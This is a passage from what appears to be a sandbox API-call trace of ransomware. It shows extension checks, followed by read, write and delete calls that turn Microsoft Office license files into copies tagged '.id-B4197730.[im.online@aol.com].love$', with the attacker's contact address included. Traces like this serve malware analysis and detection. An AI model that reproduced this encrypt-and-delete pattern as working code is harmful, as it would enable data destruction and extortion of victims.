returned 4 [0258.274] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0258.274] lstrlenW (lpString=".docx") returned 5 [0258.274] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0258.274] lstrlenW (lpString=".pdf") returned 4 [0258.274] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0258.274] lstrlenW (lpString=".xls") returned 4 [0258.274] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0258.274] lstrlenW (lpString=".xlsx") returned 5 [0258.274] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0258.274] lstrlenW (lpString=".ppt") returned 4 [0258.274] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0258.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms") returned 77 [0258.274] lstrlenW (lpString=".zip") returned 4 [0258.274] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0258.274] lstrlenW (lpString=".rar") returned 4 [0258.274] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0258.274] lstrlenW (lpString=".bz2") returned 4 [0258.275] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0258.275] lstrlenW (lpString=".7z") returned 3 [0258.275] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0258.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms") returned 77 [0258.275] lstrlenW (lpString=".dbf") returned 4 [0258.275] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0258.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms") returned 77 [0258.275] lstrlenW (lpString=".1cd") returned 4 [0258.275] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0258.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms") returned 77 [0258.275] lstrlenW (lpString=".jpg") returned 4 [0258.275] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0258.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms") returned 77 [0258.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms") returned 77 [0258.275] lstrlenW (lpString=".doc") returned 4 [0258.275] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0258.275] lstrlenW (lpString=".docx") returned 5 [0258.275] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0258.275] lstrlenW (lpString=".pdf") returned 4 [0258.275] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0258.275] lstrlenW (lpString=".xls") returned 4 [0258.276] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0258.276] lstrlenW (lpString=".xlsx") returned 5 [0258.276] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0258.276] lstrlenW (lpString=".ppt") returned 4 [0258.276] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0258.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms") returned 77 [0258.276] lstrlenW (lpString=".zip") returned 4 [0258.276] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0258.276] lstrlenW (lpString=".rar") returned 4 [0258.276] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0258.276] lstrlenW (lpString=".bz2") returned 4 [0258.276] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0258.276] lstrlenW (lpString=".7z") returned 3 [0258.276] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0258.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms") returned 77 [0258.276] lstrlenW (lpString=".dbf") returned 4 [0258.276] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0258.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms") returned 77 [0258.276] lstrlenW (lpString=".1cd") returned 4 [0258.276] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0258.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms") returned 77 [0258.277] lstrlenW (lpString=".jpg") returned 4 [0258.277] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0258.277] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0258.277] lstrlenW (lpString="ExcelR_OEM_Perp-ul-oob.xrm-ms") returned 29 [0258.277] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0258.279] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x346ff14 | out: lpFileSize=0x346ff14*=11582) returned 1 [0258.279] CloseHandle (hObject=0x548) returned 1 [0258.279] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ul-oob.xrm-ms")) returned 0x220 [0258.279] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ul-oob.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0258.280] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0258.280] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.280] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.280] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ul-oob.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0258.282] GetLastError () returned 0x0 [0258.282] ReadFile (in: hFile=0x548, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x2d3e, lpOverlapped=0x0) returned 1 [0258.356] WriteFile (in: hFile=0x53c, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0x2d40, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0x2d40, lpOverlapped=0x0) returned 1 [0258.358] ReadFile (in: hFile=0x548, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x0, lpOverlapped=0x0) returned 1 [0258.358] WriteFile (in: hFile=0x53c, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0x10e, lpOverlapped=0x0) returned 1 [0258.359] SetEndOfFile (hFile=0x53c) returned 1 [0258.359] CloseHandle (hObject=0x53c) returned 1 [0258.359] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.359] SetEndOfFile (hFile=0x548) returned 1 [0258.363] CloseHandle (hObject=0x548) returned 1 [0258.363] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0258.364] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ul-oob.xrm-ms")) returned 1 [0258.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms") returned 79 [0258.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms") returned 79 [0258.366] lstrlenW (lpString=".doc") returned 4 [0258.366] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0258.366] lstrlenW (lpString=".docx") returned 5 [0258.367] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0258.367] lstrlenW (lpString=".pdf") returned 4 [0258.367] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0258.367] lstrlenW (lpString=".xls") returned 4 [0258.367] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0258.367] lstrlenW (lpString=".xlsx") returned 5 [0258.367] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0258.367] lstrlenW (lpString=".ppt") returned 4 [0258.367] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0258.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms") returned 79 [0258.367] lstrlenW (lpString=".zip") returned 4 [0258.367] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0258.367] lstrlenW (lpString=".rar") returned 4 [0258.367] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0258.367] lstrlenW (lpString=".bz2") returned 4 [0258.367] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0258.367] lstrlenW (lpString=".7z") returned 3 [0258.367] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0258.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms") returned 79 [0258.367] lstrlenW (lpString=".dbf") returned 4 [0258.367] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0258.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms") returned 79 [0258.367] lstrlenW (lpString=".1cd") returned 4 [0258.367] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0258.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms") returned 79 [0258.368] lstrlenW (lpString=".jpg") returned 4 [0258.368] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0258.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms") returned 79 [0258.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms") returned 79 [0258.368] lstrlenW (lpString=".doc") returned 4 [0258.368] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0258.368] lstrlenW (lpString=".docx") returned 5 [0258.368] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0258.368] lstrlenW (lpString=".pdf") returned 4 [0258.368] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0258.368] lstrlenW (lpString=".xls") returned 4 [0258.368] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0258.368] lstrlenW (lpString=".xlsx") returned 5 [0258.368] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0258.368] lstrlenW (lpString=".ppt") returned 4 [0258.368] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0258.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms") returned 79 [0258.369] lstrlenW (lpString=".zip") returned 4 [0258.369] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0258.369] lstrlenW (lpString=".rar") returned 4 [0258.369] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0258.369] lstrlenW (lpString=".bz2") returned 4 [0258.369] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0258.369] lstrlenW (lpString=".7z") returned 3 [0258.369] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0258.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms") returned 79 [0258.369] lstrlenW (lpString=".dbf") returned 4 [0258.369] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0258.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms") returned 79 [0258.369] lstrlenW (lpString=".1cd") returned 4 [0258.369] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0258.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms") returned 79 [0258.369] lstrlenW (lpString=".jpg") returned 4 [0258.369] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0258.369] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0258.370] lstrlenW (lpString="ExcelR_Retail-pl.xrm-ms") returned 23 [0258.370] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0258.373] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x346ff14 | out: lpFileSize=0x346ff14*=10627) returned 1 [0258.373] CloseHandle (hObject=0x548) returned 1 [0258.373] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-pl.xrm-ms")) returned 0x220 [0258.373] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-pl.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0258.373] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0258.374] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.374] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.374] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-pl.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0258.375] GetLastError () returned 0x0 [0258.375] ReadFile (in: hFile=0x548, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x2983, lpOverlapped=0x0) returned 1 [0258.517] WriteFile (in: hFile=0x53c, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0x2990, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0x2990, lpOverlapped=0x0) returned 1 [0258.519] ReadFile (in: hFile=0x548, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x0, lpOverlapped=0x0) returned 1 [0258.519] WriteFile (in: hFile=0x53c, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0x102, lpOverlapped=0x0) returned 1 [0258.519] SetEndOfFile (hFile=0x53c) returned 1 [0258.520] CloseHandle (hObject=0x53c) returned 1 [0258.520] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.520] SetEndOfFile (hFile=0x548) returned 1 [0258.524] CloseHandle (hObject=0x548) returned 1 [0258.524] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0258.525] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-pl.xrm-ms")) returned 1 [0258.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms") returned 73 [0258.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms") returned 73 [0258.527] lstrlenW (lpString=".doc") returned 4 [0258.527] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0258.527] lstrlenW (lpString=".docx") returned 5 [0258.527] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0258.527] lstrlenW (lpString=".pdf") returned 4 [0258.527] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0258.527] lstrlenW (lpString=".xls") returned 4 [0258.527] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0258.527] lstrlenW (lpString=".xlsx") returned 5 [0258.527] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0258.527] lstrlenW (lpString=".ppt") returned 4 [0258.527] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0258.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms") returned 73 [0258.527] lstrlenW (lpString=".zip") returned 4 [0258.528] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0258.528] lstrlenW (lpString=".rar") returned 4 [0258.528] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0258.528] lstrlenW (lpString=".bz2") returned 4 [0258.528] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0258.528] lstrlenW (lpString=".7z") returned 3 [0258.528] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0258.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms") returned 73 [0258.528] lstrlenW (lpString=".dbf") returned 4 [0258.528] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0258.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms") returned 73 [0258.528] lstrlenW (lpString=".1cd") returned 4 [0258.528] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0258.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms") returned 73 [0258.528] lstrlenW (lpString=".jpg") returned 4 [0258.528] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0258.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms") returned 73 [0258.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms") returned 73 [0258.528] lstrlenW (lpString=".doc") returned 4 [0258.528] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0258.528] lstrlenW (lpString=".docx") returned 5 [0258.528] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0258.528] lstrlenW (lpString=".pdf") returned 4 [0258.529] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0258.529] lstrlenW (lpString=".xls") returned 4 [0258.529] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0258.529] lstrlenW (lpString=".xlsx") returned 5 [0258.529] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0258.529] lstrlenW (lpString=".ppt") returned 4 [0258.529] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0258.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms") returned 73 [0258.529] lstrlenW (lpString=".zip") returned 4 [0258.529] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0258.529] lstrlenW (lpString=".rar") returned 4 [0258.529] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0258.529] lstrlenW (lpString=".bz2") returned 4 [0258.529] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0258.529] lstrlenW (lpString=".7z") returned 3 [0258.529] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0258.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms") returned 73 [0258.529] lstrlenW (lpString=".dbf") returned 4 [0258.529] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0258.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms") returned 73 [0258.529] lstrlenW (lpString=".1cd") returned 4 [0258.529] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0258.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms") returned 73 [0258.529] lstrlenW (lpString=".jpg") returned 4 [0258.529] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0258.530] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0258.530] lstrlenW (lpString="ExcelR_Retail-ul-phn.xrm-ms") returned 27 [0258.530] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0258.533] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x346ff14 | out: lpFileSize=0x346ff14*=19919) returned 1 [0258.533] CloseHandle (hObject=0x548) returned 1 [0258.533] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ul-phn.xrm-ms")) returned 0x220 [0258.533] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ul-phn.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0258.533] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0258.534] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.534] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.534] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ul-phn.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0258.536] GetLastError () returned 0x0 [0258.536] ReadFile (in: hFile=0x548, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x4dcf, lpOverlapped=0x0) returned 1 [0258.637] WriteFile (in: hFile=0x53c, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0x4dd0, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0x4dd0, lpOverlapped=0x0) returned 1 [0258.639] ReadFile (in: hFile=0x548, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x0, lpOverlapped=0x0) returned 1 [0258.639] WriteFile (in: hFile=0x53c, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0x10a, lpOverlapped=0x0) returned 1 [0258.639] SetEndOfFile (hFile=0x53c) returned 1 [0258.640] CloseHandle (hObject=0x53c) returned 1 [0258.640] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.640] SetEndOfFile (hFile=0x548) returned 1 [0258.649] CloseHandle (hObject=0x548) returned 1 [0258.649] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0258.650] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ul-phn.xrm-ms")) returned 1 [0258.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms") returned 77 [0258.651] lstrlenW (lpString="C:\\Program Files\\Microsoft 